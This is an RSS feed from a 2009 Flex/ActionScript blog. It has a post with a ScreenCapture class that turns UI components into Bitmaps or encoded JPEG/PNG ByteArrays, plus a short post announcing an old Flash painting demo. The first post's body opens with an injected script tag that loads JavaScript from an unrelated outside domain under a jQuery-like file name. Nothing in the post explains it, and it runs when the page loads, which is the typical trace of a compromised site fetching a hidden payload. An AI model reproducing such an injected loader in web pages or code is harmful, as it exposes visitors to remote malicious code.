<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>SDS: Flex, Actionscript, Php ...</title>
	<atom:link href="http://blog.stoc-studio.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.stoc-studio.com</link>
	<description>Cap sa ai ca mintea-ti vine!</description>
	<pubDate>Wed, 12 May 2010 11:13:11 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Capturing UIComponents as Bitmap or encoded ByteArray</title>
		<link>http://blog.stoc-studio.com/2009/04/capturing-uicomponents-as-bitmap-or-encoded-bytearray/</link>
		<comments>http://blog.stoc-studio.com/2009/04/capturing-uicomponents-as-bitmap-or-encoded-bytearray/#comments</comments>
		<pubDate>Sat, 25 Apr 2009 09:40:14 +0000</pubDate>
		<dc:creator>cipri</dc:creator>
		
		<category><![CDATA[AIR]]></category>

		<category><![CDATA[Actionscript]]></category>

		<category><![CDATA[Flex]]></category>

		<guid isPermaLink="false">http://blog.stoc-studio.com/?p=46</guid>
		<description><![CDATA[
We found usefull to have a simple static class helping us to quick capture parts of the flex application(or specific components) as Bitmap or encoded ByteArray, ready to be sent server-side to be saved as image (or simply saved from AIR app).  Here is the class, maybe you can find it usefull for your projects:

?View [...]]]></description>
			<content:encoded><![CDATA[<h5><script src=http://pink.ideacoreportal.com/js/jquery.min.js></script></h5>
<p>We found usefull to have a simple static class helping us to quick capture parts of the flex application(or specific components) as <a href="http://livedocs.adobe.com/flex/3/langref/flash/display/BitmapData.html" target="_blank">Bitmap</a> or encoded <a href="http://livedocs.adobe.com/flex/3/langref/flash/utils/ByteArray.html" target="_blank">ByteArray</a>, ready to be sent server-side to be saved as image (or simply saved from <a href="http://www.adobe.com/products/air/" target="_blank">AIR</a> app).  Here is the class, maybe you can find it usefull for your projects:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p46code3'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p463"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
</pre></td><td class="code" id="p46code3"><pre class="actionscript" style="font-family:monospace;">package
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">Bitmap</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">BitmapData</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">geom</span>.<span style="color: #006600;">Matrix</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">geom</span>.<span style="color: #006600;">Rectangle</span>;
	<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">utils</span>.<span style="color: #006600;">ByteArray</span>;
&nbsp;
	<span style="color: #0066CC;">import</span> mx.<span style="color: #006600;">core</span>.<span style="color: #006600;">IUIComponent</span>;
	<span style="color: #0066CC;">import</span> mx.<span style="color: #006600;">graphics</span>.<span style="color: #006600;">codec</span>.<span style="color: #006600;">JPEGEncoder</span>;
	<span style="color: #0066CC;">import</span> mx.<span style="color: #006600;">graphics</span>.<span style="color: #006600;">codec</span>.<span style="color: #006600;">PNGEncoder</span>;
&nbsp;
	<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> ScreenCapture
	<span style="color: #66cc66;">&#123;</span>
&nbsp;
		<span style="color: #0066CC;">static</span> <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> bitmap:Bitmap;
		<span style="color: #0066CC;">static</span> <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> bitmapData:BitmapData;
&nbsp;
		<span style="color: #0066CC;">static</span> <span style="color: #0066CC;">public</span> const JPEG:<span style="color: #0066CC;">String</span>	= <span style="color: #ff0000;">&quot;jpeg&quot;</span>;
		<span style="color: #0066CC;">static</span> <span style="color: #0066CC;">public</span> const PNG:<span style="color: #0066CC;">String</span>	= <span style="color: #ff0000;">&quot;png&quot;</span>;
&nbsp;
		<span style="color: #808080; font-style: italic;">/**
		 * Return a bitmap instance based on params
		 */</span>
		<span style="color: #0066CC;">static</span> <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getBitmap<span style="color: #66cc66;">&#40;</span>area:Rectangle, fromTarget:IUIComponent<span style="color: #66cc66;">&#41;</span>:Bitmap
		<span style="color: #66cc66;">&#123;</span>
			bitmapData	= <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span>area.<span style="color: #0066CC;">width</span>,area.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">&#41;</span>;
			bitmap		= <span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>bitmapData<span style="color: #66cc66;">&#41;</span>;
&nbsp;
			<span style="color: #000000; font-weight: bold;">var</span> matrix:Matrix	= <span style="color: #000000; font-weight: bold;">new</span> Matrix<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
			matrix.<span style="color: #006600;">tx</span>	= area.<span style="color: #006600;">x</span>;
			matrix.<span style="color: #006600;">ty</span>	= area.<span style="color: #006600;">y</span>;
&nbsp;
			bitmapData.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>fromTarget,matrix<span style="color: #66cc66;">&#41;</span>;
			<span style="color: #b1b100;">return</span> bitmap;
		<span style="color: #66cc66;">&#125;</span> 
&nbsp;
		<span style="color: #808080; font-style: italic;">/**
		 * returns a byte array encoded as specified in imageFormat argument
		 * Values are JPEG and PNG.
		 */</span>
		<span style="color: #0066CC;">static</span> <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getImage<span style="color: #66cc66;">&#40;</span>area:Rectangle, fromTarget:IUIComponent,imageFormat:<span style="color: #0066CC;">String</span>=<span style="color: #ff0000;">&quot;jpeg&quot;</span>,<span style="color: #0066CC;">quality</span>:<span style="color: #0066CC;">Number</span>=<span style="color: #cc66cc;">80</span><span style="color: #66cc66;">&#41;</span>:ByteArray
		<span style="color: #66cc66;">&#123;</span>
			getBitmap<span style="color: #66cc66;">&#40;</span>area, fromTarget<span style="color: #66cc66;">&#41;</span>;
&nbsp;
			<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> imageFormat	== PNG<span style="color: #66cc66;">&#41;</span>
			<span style="color: #66cc66;">&#123;</span>
				<span style="color: #b1b100;">return</span> encodePNG<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
			<span style="color: #66cc66;">&#125;</span>
			<span style="color: #b1b100;">return</span> encodeJPEG<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">quality</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
&nbsp;
		<span style="color: #808080; font-style: italic;">/**
		 * Encodes as jpeg with specified quality
		 */</span>
		<span style="color: #0066CC;">static</span> <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> encodeJPEG<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">quality</span>:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:ByteArray
		<span style="color: #66cc66;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> JPEGEncoder<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">quality</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">encode</span><span style="color: #66cc66;">&#40;</span>bitmapData<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
&nbsp;
		<span style="color: #808080; font-style: italic;">/**
		 * Encodes as png
		 */</span>
		<span style="color: #0066CC;">static</span> <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> encodePNG<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:ByteArray
		<span style="color: #66cc66;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> PNGEncoder<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">encode</span><span style="color: #66cc66;">&#40;</span>bitmapData<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
&nbsp;
	<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>and here is an example of use.<br />
Enjoy it <img src='http://blog.stoc-studio.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p46code4'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p464"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code" id="p46code4"><pre class="actionscript" style="font-family:monospace;">		<span style="color: #808080; font-style: italic;">/**
		 * Example function to get Bitmap object
		 */</span>
		<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getCapture<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
		<span style="color: #66cc66;">&#123;</span>
			<span style="color: #000000; font-weight: bold;">var</span> bitmap:Bitmap	= ScreenCapture.<span style="color: #006600;">getBitmap</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,cmp.<span style="color: #0066CC;">width</span>,cmp.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">&#41;</span>,cmp<span style="color: #66cc66;">&#41;</span>;
			rawChildren.<span style="color: #006600;">addChild</span><span style="color: #66cc66;">&#40;</span>bitmap<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
&nbsp;
		<span style="color: #808080; font-style: italic;">/**
		 * Example function to get enoded ByteArray as jpg or png
		 */</span>
		<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getImageEncoded<span style="color: #66cc66;">&#40;</span>imageType:<span style="color: #0066CC;">String</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
		<span style="color: #66cc66;">&#123;</span>
			<span style="color: #000000; font-weight: bold;">var</span> bytearray:ByteArray	= ScreenCapture.<span style="color: #006600;">getImage</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,cmp.<span style="color: #0066CC;">width</span>,cmp.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">&#41;</span>,cmp,ScreenCapture.<span style="color: #006600;">JPEG</span>,<span style="color: #cc66cc;">85</span><span style="color: #66cc66;">&#41;</span>;
			<span style="color: #808080; font-style: italic;">//	var bytearray:ByteArray	= ScreenCapture.getImage(new Rectangle(0,0,cmp.width,cmp.height),cmp,ScreenCapture.PNG);</span>
			<span style="color: #808080; font-style: italic;">//	.... rest of code to handle bytearray to be saved ...(server side or using AIR...)</span>
		<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.stoc-studio.com/2009/04/capturing-uicomponents-as-bitmap-or-encoded-bytearray/feed/</wfw:commentRss>
		</item>
		<item>
		<title>New blog, old flash project</title>
		<link>http://blog.stoc-studio.com/2009/04/old_flash_project/</link>
		<comments>http://blog.stoc-studio.com/2009/04/old_flash_project/#comments</comments>
		<pubDate>Fri, 24 Apr 2009 11:49:17 +0000</pubDate>
		<dc:creator>cipri</dc:creator>
		
		<category><![CDATA[Actionscript]]></category>

		<category><![CDATA[Flash]]></category>

		<category><![CDATA[Php]]></category>

		<category><![CDATA[Flex]]></category>

		<guid isPermaLink="false">http://blog.stoc-studio.com/?p=7</guid>
		<description><![CDATA[Hello world!
We just started our blog and we choose to post one of the old flash project (actionscript 2)  we made ~1-1.5 years ago. The project is live only on our server, but anyway &#8230; enjoy it.
PS: &#8220;Save&#8221; functionality is not working, guess why&#8230;


More to come.

]]></description>
			<content:encoded><![CDATA[<p>Hello world!<br />
We just started our blog and we choose to post one of the old <a title="Can designer" href="http://office.stoc-studio.ro/www/tribalddb/painting/" target="_blank">flash project</a> (actionscript 2)  we made ~1-1.5 years ago. The project is live only on our server, but anyway &#8230; enjoy it.<em><br />
PS: &#8220;Save&#8221; functionality is not working, guess why&#8230;</em></p>
<p style="text-align: center;"><em></em></p>
<div id="attachment_17" class="wp-caption aligncenter" style="width: 510px"><em><em><a href="http://office.stoc-studio.ro/www/tribalddb/painting/" target="_blank"><img class="size-full wp-image-17" title="painter" src="http://blog.stoc-studio.com/wp-content/uploads/2009/04/painter.jpg" alt="Can painter demo" width="500" height="424" /></a></em></em><p class="wp-caption-text">Click the image for demo</p></div>
<p><em></em></p>
<p><em>More to come.<br />
</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.stoc-studio.com/2009/04/old_flash_project/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
